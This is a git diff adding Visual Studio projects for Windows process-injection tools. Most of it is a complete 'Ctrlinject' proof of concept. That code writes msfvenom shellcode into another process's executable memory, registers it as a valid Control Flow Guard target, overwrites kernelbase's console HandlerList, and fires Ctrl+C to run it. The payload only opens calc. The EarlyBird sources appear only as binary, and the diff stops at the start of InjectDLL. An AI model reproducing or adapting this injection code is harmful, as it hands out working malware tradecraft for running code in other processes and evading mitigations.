diff --git a/Ctrlinject/Ctrlinject.sln b/Ctrlinject/Ctrlinject.sln new file mode 100755 index 0000000..4002337 --- /dev/null +++ b/Ctrlinject/Ctrlinject.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Ctrlinject", "Ctrlinject\Ctrlinject.vcxproj", "{2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Debug|x64.ActiveCfg = Debug|x64 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Debug|x64.Build.0 = Debug|x64 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Debug|x86.ActiveCfg = Debug|Win32 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Debug|x86.Build.0 = Debug|Win32 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Release|x64.ActiveCfg = Release|x64 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Release|x64.Build.0 = Release|x64 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Release|x86.ActiveCfg = Release|Win32 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Ctrlinject/Ctrlinject/Ctrlinject.cpp b/Ctrlinject/Ctrlinject/Ctrlinject.cpp new file mode 100755 index 0000000..c570904 --- /dev/null +++ b/Ctrlinject/Ctrlinject/Ctrlinject.cpp @@ -0,0 +1,426 @@ +// PROPagate.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" +#include +#include +#include + +typedef BOOL(WINAPI *prototype_SetProcessValidCallTargets)( + HANDLE hProcess, + PVOID VirtualAddress, + SIZE_T RegionSize, + ULONG NumberOfOffsets, + PCFG_CALL_TARGET_INFO OffsetInformation + ); + +typedef HRESULT(WINAPI *prototype_RtlEncodeRemotePointer)( + HANDLE ProcessHandle, + PVOID Ptr, + PVOID * EncodedPtr +); + +typedef HRESULT (WINAPI *prototype_RtlDecodeRemotePointer)( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID Ptr, + _Out_ PVOID * DecodedPtr +); + +#define STATUS_SUCCESS 1 +#define STATUS_FAIL -1 + +//original: https://github.com/BreakingMalwareResearch/CFGExceptions/blob/master/CFGExceptions/main.cpp +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + printf("[-] Couldn't get handle to %s", pszDllName); + return STATUS_FAIL; + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + printf("[-] Couldn't get address of %s", pszFunctionName); + return STATUS_FAIL; + } + + *ppvFunctionAddress = pvFunctionAddress; + return STATUS_SUCCESS; +} + +//original: https://github.com/BreakingMalwareResearch/CFGExceptions/blob/master/CFGExceptions/main.cpp +int GetMemoryAllocationBaseAndRegionSize(PVOID pvAddress, PVOID *ppvAllocationBase, PSIZE_T pstRegionSize) +{ + SIZE_T stErr = 0; + MEMORY_BASIC_INFORMATION tMemoryBasicInformation = { 0 }; + + stErr = VirtualQuery(pvAddress, &tMemoryBasicInformation, sizeof(tMemoryBasicInformation)); + if (0 == stErr) + { + return STATUS_FAIL; + } + + *ppvAllocationBase = tMemoryBasicInformation.AllocationBase; + *pstRegionSize = tMemoryBasicInformation.RegionSize; + + return STATUS_SUCCESS; +} + +HWND GetWindowFromPID(DWORD mypid) +{ + HWND h = GetTopWindow(0); + while (h) + { + DWORD pid; + DWORD dwTheardId = ::GetWindowThreadProcessId(h, &pid); + if (pid == mypid) + { + return h; + } + h = GetNextWindow(h, GW_HWNDNEXT); + } + return 0; +} + +LPVOID GetModuleBaseAddress(PSTR pszDllName) +{ + MODULEINFO module_info; + HMODULE hModule = GetModuleHandleA(pszDllName); + BOOL bres; + bres = GetModuleInformation(GetCurrentProcess(), hModule, &module_info, sizeof(module_info)); + if (!bres) + { + printf("[-] Couldn't find %s base address\n", pszDllName); + return NULL; + } + printf("[+] %s base address is: 0x%llx\n", (pszDllName, (DWORD64)module_info.lpBaseOfDll)); + return module_info.lpBaseOfDll; +} + +//https://blog.ensilo.com/ctrl-inject +void TriggerCtrlC(HWND hWindow) +{ + INPUT ip; + ip.type = INPUT_KEYBOARD; + ip.ki.wScan = 0; + ip.ki.time = 0; + ip.ki.dwExtraInfo = 0; + ip.ki.wVk = VK_CONTROL; + ip.ki.dwFlags = 0; //0 for keypress + SendInput(1, &ip, sizeof(INPUT)); + Sleep(300); + PostMessage(hWindow, WM_KEYDOWN, 0x43, 0); + Sleep(300); + ip.ki.dwFlags = 2; //2 for keyup (we want this, as we don't want to keep a system wide CTRL down) + SendInput(1, &ip, sizeof(INPUT)); + +} + +int main(int argc, char* argv[]) +{ + if (argc != 2) + { + printf("Usage: Ctrlinject.exe [PID]\n"); + return 1; + } + + //msfvenom --payload windows/x64/exec CMD="calc" EXITFUNC=thread + unsigned char shellcode[] = { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, + 0x63,0x00 }; + + DWORD pid = (DWORD)atoi(argv[1]); + + /* Get Handle to process */ + + printf("[i] Opening process\n"); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) + { + printf("[-] Couldn't open process, exiting...\n"); + return -1; + } + else + { + printf("[+] Process handle: 0x%x\n", (UINT)hProcess); + } + + /* Allocate memory in target process */ + printf("[i] Allocating memory in process\n"); + LPVOID lpBaseAddress; + lpBaseAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (lpBaseAddress == NULL) + { + printf("[-] Couldn't allocate memory in process, exiting...\n"); + return -1; + } + else + { + printf("[+] Memory allocated at: 0x%llx\n", (DWORD64)lpBaseAddress); + } + + + SIZE_T *lpNumberOfBytesWritten = 0; + printf("[i] Writing shellcode to process\n"); + + BOOL resWPM; + resWPM = WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), lpNumberOfBytesWritten); + + if (!resWPM) + { + printf("[-] Couldn't write to memory in target process, exiting...\n"); + return STATUS_FAIL; + } + printf("[+] Shellcode is written to memory\n"); + + printf("[i] Encoding pointer\n"); + + prototype_RtlEncodeRemotePointer pfnRtlEncodeRemotePointer = NULL; + PVOID pvEncodedPtr = NULL; + int res = 0; + res = GetFunctionAddressFromDll("ntdll.dll", "RtlEncodeRemotePointer", (PVOID *)&pfnRtlEncodeRemotePointer); + if (res == STATUS_FAIL) + { + printf("[-] Couldn't do lookup, exiting...\n"); + return STATUS_FAIL; + } + HRESULT hRes = pfnRtlEncodeRemotePointer(hProcess, lpBaseAddress, &pvEncodedPtr); + if (hRes != S_OK) + { + printf("[-] Encoding pointer failed"); + return STATUS_FAIL; + } + printf("[+] Encoded pointer is: 0x%llx\n", (DWORD64)pvEncodedPtr); + + printf("[i] Set call target vaid for CFG\n"); + + prototype_SetProcessValidCallTargets pfnSetProcessValidCallTargets = NULL; + + res = GetFunctionAddressFromDll("kernelbase.dll", "SetProcessValidCallTargets", (PVOID *)&pfnSetProcessValidCallTargets); + if (res == STATUS_FAIL) + { + printf("[-] Couldn't do lookup, exiting...\n"); + return STATUS_FAIL; + } + + CFG_CALL_TARGET_INFO tCfgCallTargetInfo = { 0 }; + tCfgCallTargetInfo.Flags = CFG_CALL_TARGET_VALID; + PVOID pvAllocationBase = NULL; + SIZE_T stRegionSize = 0; + + res = GetMemoryAllocationBaseAndRegionSize(lpBaseAddress, &pvAllocationBase, &stRegionSize); + if (res == STATUS_FAIL) + { + printf("[-] Couldn't do GetMemoryAllocationBaseAndRegionSize, exiting...\n"); + return STATUS_FAIL; + } + + tCfgCallTargetInfo.Offset = (ULONG_PTR)lpBaseAddress - (ULONG_PTR)pvAllocationBase; + pfnSetProcessValidCallTargets(hProcess, pvEncodedPtr, 0x1000, 0x1, &tCfgCallTargetInfo); + + /* + printf("[i] Locating kernelbase.dll address\n"); + + LPVOID kernelbase_address = GetModuleBaseAddress("kernelbase.dll"); + if (!kernelbase_address) + { + printf("[-] Couldn't find kernelbase.dll base address, exiting...\n"); + return STATUS_FAIL; + } + */ + LPVOID SetConsoleCtrlHandler_address; + res = GetFunctionAddressFromDll("kernelbase.dll", "SetConsoleCtrlHandler", &SetConsoleCtrlHandler_address); + if (res == STATUS_FAIL) + { + printf("[-] Couldn't do lookup, exiting...\n"); + return STATUS_FAIL; + } + printf("[+] SetConsoleCtrlHandler address is: 0x%llx\n", (DWORD64)SetConsoleCtrlHandler_address); + + LPVOID b = NULL; + SIZE_T lpNumberOfBytesRead; + BOOL resRPM; + int i = 0; + while(TRUE) + { + //Search this in memory + //00007ffc`2b62a761 e85a000000 call KERNELBASE!SetCtrlHandler (00007ffc`2b62a7c0) + resRPM = ReadProcessMemory(hProcess, (LPVOID)((DWORD64)SetConsoleCtrlHandler_address+i), &b, 0x1, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + if ((BYTE)b == 0xe8) + { + resRPM = ReadProcessMemory(hProcess, (LPVOID)((DWORD64)SetConsoleCtrlHandler_address + i + 1), &b, 0x1, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + break; + } + i++; + if (i == 200) + { + printf("[-] Couldn't find call in function, exiting...\n"); + return STATUS_FAIL; + } + } + + LPVOID SetCtrlHandler_address = (LPVOID)((DWORD64)SetConsoleCtrlHandler_address + i + 5 + (BYTE)b); + printf("[+] SetCtrlHandler address is: 0x%llx\n", (DWORD64)SetCtrlHandler_address); + + b = 0; + i = 0; + while (TRUE) + { + //search this in memory + //00007ffc`2b62a7cf 8b3d7bdb1a00 mov edi,dword ptr [KERNELBASE!HandlerListLength (00007ffc`2b7d8350)] + resRPM = ReadProcessMemory(hProcess, (LPVOID)((DWORD64)SetCtrlHandler_address + i), &b, 0x1, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + if ((BYTE)b == 0x8b) + { + resRPM = ReadProcessMemory(hProcess, (LPVOID)((DWORD64)SetCtrlHandler_address + i + 2), &b, 0x4, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + break; + } + i++; + if (i == 200) + { + printf("[-] Couldn't find call in function, exiting...\n"); + return STATUS_FAIL; + } + } + + LPVOID HandlerListLength_in_kernelbase = (LPVOID)((DWORD64)SetCtrlHandler_address + i + 6 + (DWORD32)b); + printf("[+] HandlerListLength address is: 0x%llx\n", (DWORD64)HandlerListLength_in_kernelbase); + LPVOID HandlerList_in_kernelbase = LPVOID((DWORD64)HandlerListLength_in_kernelbase + 0x8); + /* + //OLD HARDCODED + DWORD64 HandlerList_offset = 0x218358; //For now it's hardcoded for Windows 10 RS3 (1709) + printf("[+] Offset to HandlerList is: 0x%llx\n", (DWORD64)HandlerList_offset); + LPVOID HandlerList_in_kernelbase = LPVOID((DWORD64)kernelbase_address + 0x218358); + LPVOID HandlerListLength_in_kernelbase = LPVOID((DWORD64)kernelbase_address + 0x218358 -8); + + printf("[+] HandlerList address can be found at: 0x%llx\n", (DWORD64)HandlerList_in_kernelbase); + printf("[+] HandlerListLength address can be found at: 0x%llx\n", ((DWORD64)HandlerListLength_in_kernelbase)); + */ + printf("[i] Locating HandlerList\n"); + LPVOID HandlerListAddress; + resRPM = ReadProcessMemory(hProcess, HandlerList_in_kernelbase, &HandlerListAddress, 0x8, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read HandlerList from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + printf("[+] HandlerList is at: 0x%llx\n", (DWORD64)HandlerListAddress); + + LPVOID HandlerListLength; + resRPM = ReadProcessMemory(hProcess, HandlerListLength_in_kernelbase, &HandlerListLength, 0x4, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read HandlerListLength from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + printf("[+] HandlerListLength is: 0x%llx\n", (DWORD32)HandlerListLength); + + if ((DWORD32)HandlerListLength < 2) + { + printf("[-] HandlerListLength is too small, exiting...\n"); + return STATUS_FAIL; + } + + printf("[i] Saving original value at HandlerList\n"); + + //this shift calculation is to overwrite the lastly added Handler and not the first default one + DWORD32 shift = ((DWORD32)HandlerListLength - 1) * 8; + LPVOID shiftedHandlerListAddress = (LPVOID)((DWORD64)HandlerListAddress + shift); + LPVOID orig_Handler; + ReadProcessMemory(hProcess, shiftedHandlerListAddress, &orig_Handler, 0x8, &lpNumberOfBytesRead); + if (!resRPM) + { + printf("[-] Couldn't read from memory of target process, exiting...\n"); + return STATUS_FAIL; + } + printf("[+] Original Handler value is: 0x%llx\n", (DWORD64)orig_Handler); + + PVOID pvDecodedPtr = NULL; + prototype_RtlDecodeRemotePointer pfnRtlDecodeRemotePointer = NULL; + res = GetFunctionAddressFromDll("ntdll.dll", "RtlDecodeRemotePointer", (PVOID *)&pfnRtlDecodeRemotePointer); + if (res == STATUS_FAIL) + { + printf("[-] Couldn't do lookup, exiting...\n"); + return STATUS_FAIL; + } + hRes = pfnRtlDecodeRemotePointer(hProcess, (PVOID)orig_Handler, &pvDecodedPtr); + if (hRes != S_OK) + { + printf("[-] Decoding pointer failed"); + return STATUS_FAIL; + } + printf("[+] Original handler decoded: 0x%llx\n", (DWORD64)pvDecodedPtr); + + + printf("[i] Overwriting HandlerList item\n"); + resWPM = WriteProcessMemory(hProcess, shiftedHandlerListAddress, &pvEncodedPtr, 0x8, lpNumberOfBytesWritten); + if (!resWPM) + { + printf("[-] Couldn't write to memory in target process, exiting...\n"); + return STATUS_FAIL; + } + + HWND hwnd_other = GetWindowFromPID(pid); + if (hwnd_other == NULL) + { + printf("[-] Couldn't find window...\n"); + } + else + { + printf("[i] Triggering injection\n"); + TriggerCtrlC(hwnd_other); + } + + Sleep(1000); + printf("[i] Restore HandlerList item\n"); + resWPM = WriteProcessMemory(hProcess, shiftedHandlerListAddress, &orig_Handler, 0x8, lpNumberOfBytesWritten); + if (!resWPM) + { + printf("[-] Couldn't write to memory in target process, exiting...\n"); + return STATUS_FAIL; + } + + return 0; +} + diff --git a/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj new file mode 100755 index 0000000..e70c847 --- /dev/null +++ b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj @@ -0,0 +1,156 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {2DFBD8A2-0B7C-4FEA-9A8B-D8313B7B806D} + Win32Proj + Ctrlinject + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.filters b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.filters new file mode 100755 index 0000000..c302971 --- /dev/null +++ b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.user b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.user new file mode 100755 index 0000000..d03c798 --- /dev/null +++ b/Ctrlinject/Ctrlinject/Ctrlinject.vcxproj.user @@ -0,0 +1,19 @@ + + + + 4724 + WindowsLocalDebugger + + + 4724 + WindowsLocalDebugger + + + 4724 + WindowsLocalDebugger + + + 4724 + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Ctrlinject/Ctrlinject/ReadMe.txt b/Ctrlinject/Ctrlinject/ReadMe.txt new file mode 100755 index 0000000..2f7dc8a --- /dev/null +++ b/Ctrlinject/Ctrlinject/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : Ctrlinject Project Overview +======================================================================== + +AppWizard has created this Ctrlinject application for you. + +This file contains a summary of what you will find in each of the files that +make up your Ctrlinject application. + + +Ctrlinject.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +Ctrlinject.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +Ctrlinject.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named Ctrlinject.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Ctrlinject/Ctrlinject/stdafx.cpp b/Ctrlinject/Ctrlinject/stdafx.cpp new file mode 100755 index 0000000..c9c1028 --- /dev/null +++ b/Ctrlinject/Ctrlinject/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// Ctrlinject.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Ctrlinject/Ctrlinject/stdafx.h b/Ctrlinject/Ctrlinject/stdafx.h new file mode 100755 index 0000000..47a0d02 --- /dev/null +++ b/Ctrlinject/Ctrlinject/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Ctrlinject/Ctrlinject/targetver.h b/Ctrlinject/Ctrlinject/targetver.h new file mode 100755 index 0000000..90e767b --- /dev/null +++ b/Ctrlinject/Ctrlinject/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/EarlyBird/EarlyBird.sln b/EarlyBird/EarlyBird.sln new file mode 100755 index 0000000..a1fc75d --- /dev/null +++ b/EarlyBird/EarlyBird.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27130.2010 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EarlyBird", "EarlyBird\EarlyBird.vcxproj", "{B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Debug|x64.ActiveCfg = Debug|x64 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Debug|x64.Build.0 = Debug|x64 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Debug|x86.ActiveCfg = Debug|Win32 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Debug|x86.Build.0 = Debug|Win32 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Release|x64.ActiveCfg = Release|x64 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Release|x64.Build.0 = Release|x64 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Release|x86.ActiveCfg = Release|Win32 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B3F4F259-F479-4F82-A195-AA1686261B08} + EndGlobalSection +EndGlobal diff --git a/EarlyBird/EarlyBird/EarlyBird.cpp b/EarlyBird/EarlyBird/EarlyBird.cpp new file mode 100755 index 0000000..6048fe5 Binary files /dev/null and b/EarlyBird/EarlyBird/EarlyBird.cpp differ diff --git a/EarlyBird/EarlyBird/EarlyBird.vcxproj b/EarlyBird/EarlyBird/EarlyBird.vcxproj new file mode 100755 index 0000000..a3bc85c --- /dev/null +++ b/EarlyBird/EarlyBird/EarlyBird.vcxproj @@ -0,0 +1,165 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {B3267FAC-B5D7-4CED-B2AC-8CD8A97EB3ED} + Win32Proj + EarlyBird + 10.0.16299.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/EarlyBird/EarlyBird/EarlyBird.vcxproj.filters b/EarlyBird/EarlyBird/EarlyBird.vcxproj.filters new file mode 100755 index 0000000..f25f006 --- /dev/null +++ b/EarlyBird/EarlyBird/EarlyBird.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/EarlyBird/EarlyBird/stdafx.cpp b/EarlyBird/EarlyBird/stdafx.cpp new file mode 100755 index 0000000..2a95edc Binary files /dev/null and b/EarlyBird/EarlyBird/stdafx.cpp differ diff --git a/EarlyBird/EarlyBird/stdafx.h b/EarlyBird/EarlyBird/stdafx.h new file mode 100755 index 0000000..94d4ed8 Binary files /dev/null and b/EarlyBird/EarlyBird/stdafx.h differ diff --git a/EarlyBird/EarlyBird/targetver.h b/EarlyBird/EarlyBird/targetver.h new file mode 100755 index 0000000..567cd34 Binary files /dev/null and b/EarlyBird/EarlyBird/targetver.h differ diff --git a/InjectDLL/InjectDLL.sln b/InjectDLL/InjectDLL.sln new file mode 100755 index 0000000..f9e631d --- /dev/null +++ b/InjectDLL/InjectDLL.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectDLL", "InjectDLL\InjectDLL.vcxproj", "{C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Debug|x64.ActiveCfg = Debug|x64 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Debug|x64.Build.0 = Debug|x64 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Debug|x86.ActiveCfg = Debug|Win32 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Debug|x86.Build.0 = Debug|Win32 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Release|x64.ActiveCfg = Release|x64 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Release|x64.Build.0 = Release|x64 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Release|x86.ActiveCfg = Release|Win32 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/InjectDLL/InjectDLL/InjectDLL.cpp b/InjectDLL/InjectDLL/InjectDLL.cpp new file mode 100755 index 0000000..6a2c807 --- /dev/null +++ b/InjectDLL/InjectDLL/InjectDLL.cpp @@ -0,0 +1,154 @@ +// InjectDLL.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" +#include "general.h" 